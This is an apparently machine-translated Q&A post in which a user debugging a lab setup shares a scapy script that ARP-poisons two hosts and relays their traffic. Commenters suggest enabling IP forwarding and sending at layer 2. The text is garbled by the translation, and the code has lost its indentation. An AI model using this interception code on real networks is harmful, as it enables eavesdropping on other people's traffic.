के साथ मध्य हमले में मैन एक परीक्षण नेटवर्क पर scapy
के साथ मध्य हमले में एक आदमी को करने की कोशिश कर रहा हूं। , यहाँ स्कैपी
अब जब कि तुम विचार प्राप्त कोड है:: मेरा सेटअप इस तरह है
from scapy.all import *
import multiprocessing
import time
class MITM:
packets=[]
def __init__(self,victim=("192.168.116.143","00:0c:29:d1:aa:71"),node2=("192.168.116.1", "00:50:56:c0:00:08")):
self.victim=victim
self.node2=node2
multiprocessing.Process(target=self.arp_poison).start()
try:
sniff(filter='((dst %s) and (src %s)) or ((dst %s) and (src %s))'%(self.node2[0], self.victim[0],self.victim[0],self.node2[0]),prn=lambda x:self.routep(x))
except KeyboardInterrupt as e:
wireshark(packets)
#self.arp_poison()
def routep(self,packet):
if packet.haslayer(IP):
packet.show()
if packet[IP].dst==self.victim[0]:
packet[Ether].src=packet[Ether].dst
packet[Ether].dst=self.victim[1]
elif packet[IP].dst==self.node2[0]:
packet[Ether].src=packet[Ether].dst
packet[Ether].dst=self.node2[1]
self.packets.append(packet)
packet.display()
send(packet)
print len(self.packets)
if len(self.packets)==10:
wireshark(self.packets)
def arp_poison(self):
a=ARP()
a.psrc=self.victim[0]
a.pdst=self.node2[0]
b=ARP()
b.psrc=self.node2[0]
b.pdst=self.victim[0]
cond=True
while cond:
send(b)
send(a)
time.sleep(5)
#cond=False
if __name__=="__main__":
mitm=MITM()
इस कोड VM2
पर चल रहा है।
एआरपी विषाक्तता ठीक काम करती है, मैं दोनों मशीनों के एआरपी कैश की जांच करता हूं और व्यवहार की अपेक्षा की जाती है। लेकिन routep
अंदर, मैं src और डीएसटी मैक पते को संशोधित करने और उचित की मेजबानी के लिए प्राप्त पैकेट भेजने का प्रयास करें, Scapy एक चेतावनी देता है:
WARNING: more Mac address to reach destination not found. Using broadcast
और मैं VM2
पर wireshark
में देखते हैं, संशोधित पैकेट छोड़ने नहीं कर रहे हैं यंत्र। ऐसा क्यों होगा? क्या मैं कुछ भूल रहा हूँ?
मुझे लगता है कि आप इसे जटिल बना रहे हैं। आपको केवल सबनेट में जालीदार arp उत्तरों भेजने और अपनी मशीन पर आईपी अग्रेषण सक्षम करने की आवश्यकता है। http://www.secdev.org/projects/scapy/doc/usage.html#arp-cache-poisoning – tMC
क्या यह स्पष्ट हो सकता है कि आपको स्पष्ट रूप से स्कैपी बताना होगा कि आप मैक परत सहित फ्रेम भेजना और प्राप्त करना चाहते हैं? –